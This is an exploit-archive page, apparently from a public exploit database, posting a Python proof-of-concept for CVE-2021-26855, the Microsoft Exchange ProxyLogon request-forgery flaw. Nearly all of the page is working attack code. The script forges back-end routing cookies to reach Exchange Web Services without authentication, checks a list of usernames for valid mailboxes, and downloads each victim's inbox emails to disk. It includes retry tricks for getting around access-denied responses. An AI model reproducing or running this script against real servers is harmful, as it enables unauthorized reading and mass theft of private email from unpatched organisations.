exploit the possibilities

Microsoft Exchange 2019 Unauthenticated Email Download

Microsoft Exchange 2019 Unauthenticated Email Download
Posted May 18, 2021
Authored by Gonzalo Villegas

Microsoft Exchange 2019 unauthenticated email download exploit.

tags | exploit, info disclosure
advisories | CVE-2021-26855
MD5 | 38fb98664e2b38a6b3aea74819d024c1

Microsoft Exchange 2019 Unauthenticated Email Download

Change Mirror Download
# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails

import requests
import argparse
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

__proxies__ = {"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"} # for debug on proxy


# needs to specifies mailbox, will return folder Id if account exists
payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>{}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>

"""
# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)
payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:FindItem Traversal="Shallow">
<m:ItemShape>
<BaseShape>AllProperties</BaseShape></m:ItemShape>
<SortOrder/>
<m:ParentFolderIds>
<t:FolderId Id="{}" ChangeKey="{}"/>
</m:ParentFolderIds>
<QueryString/>
</m:FindItem>
</soap:Body>
</soap:Envelope>
"""

# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox
payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">
<ItemShape>
<t:BaseShape>Default</t:BaseShape>
</ItemShape>
<ItemIds>
<t:ItemId Id="{}" ChangeKey="{}"/>
</ItemIds>
</GetItem>
</soap:Body>
</soap:Envelope>
"""


def getFQDN(url):
print("[*] Getting FQDN from headers")
rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")
if "X-FEServer" in rs.headers:
return rs.headers["X-FEServer"]
else:
print("[-] Can't get FQDN ")
exit(0)


def extractEmail(url, uri, user, fqdn, content_folderid, path):
headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
"Content-Type": "text/xml",
"User-Agent": "Mozilla pwner"}
from xml.etree import ElementTree as ET
dom = ET.fromstring(content_folderid)
for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):
id_folder = p[0].attrib.get("Id")
change_key_folder = p[0].attrib.get("ChangeKey")
data = payload_get_items_id_folder.format(id_folder, change_key_folder)
random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
rs = requests.post(url + uri, data=data, headers=headers, verify=False)
if "ErrorAccessDenied" in rs.text:
print("[*] Denied ;(.. retrying")
t_uri = uri.split("/")[-1]
for ru in random_uris:
print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
if "NoError" in rs.text:
print("[+] data found, dowloading email")
break
print("[+]Getting mails...")
dom_messages = ET.fromstring(rs.text)
messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')
for m in messages:
id_message = m[0].attrib.get("Id")
change_key_message = m[0].attrib.get("ChangeKey")
data = payload_get_mail.format(id_message, change_key_message)
random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
rs = requests.post(url + uri, data=data, headers=headers, verify=False)
if "ErrorAccessDenied" in rs.text:
print("[*] Denied ;(.. retrying")
t_uri = uri.split("/")[-1]
for ru in random_uris:
print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
if "NoError" in rs.text:
print("[+] data found, downloading email")
break

try:
f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+')
f.write(rs.text)
f.close()
except Exception as e:
print("[!] Can't write .xml file to path (email): ", e)


def checkURI(url, fqdn):
headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
"Content-Type": "text/xml",
"User-Agent": "Mozilla hehe"}
arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"]
for uri in arr_uri:
rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("thisisnotanvalidmail@pwn.local"),
headers=headers)
#print(rs.content)
if rs.status_code == 200 and "MessageText" in rs.text:
print("[+] Valid URI:", uri)
calculated_domain = rs.headers["X-CalculatedBETarget"].split(".")
if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"):
calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1]
else:
calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1]
return uri, calculated_domain
#time.sleep(1)
print("[-] No valid URI found ;(")
exit(0)


def checkEmailBoxes(url, uri, user, fqdn, path):
headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
"Content-Type": "text/xml",
"User-Agent": "Mozilla hehe"}
rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),
headers=headers)
#time.sleep(1)
#print(rs.content)
if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text:
print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user))
if "ResponseCode" in rs.text and "NoError" in rs.text:
print("[+] Valid Email Found!: {}".format(user))
extractEmail(url, uri, user, fqdn, rs.text, path)
if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text:
print("[-] Not Valid Email: {}".format(user))


def main():
__URL__ = None
__FQDN__ = None
__mailbox_domain__ = None
__path__ = None
print("[***** OhhWAA *****]")
parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>")
parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True)
parser.add_argument('-l', "--list", help="Users mailbox list", required=True)
parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True)
parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None)
parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None)
args = parser.parse_args()
__URL__ = args.url
__FQDN__ = args.fqdn
__mailbox_domain__ = args.domain
__list_users__ = args.list
__valid_users__ = []
__path__ = args.path
if not __FQDN__:
__FQDN__ = getFQDN(__URL__)
print("[+] Got FQDN:", __FQDN__)

valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)

if not __mailbox_domain__:
__mailbox_domain__ = calculated_domain

list_users = open(__list_users__, "r")
for user in list_users:
checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__)

print("[!!!] FINISHED OhhWAA")


if __name__ == '__main__':
main()

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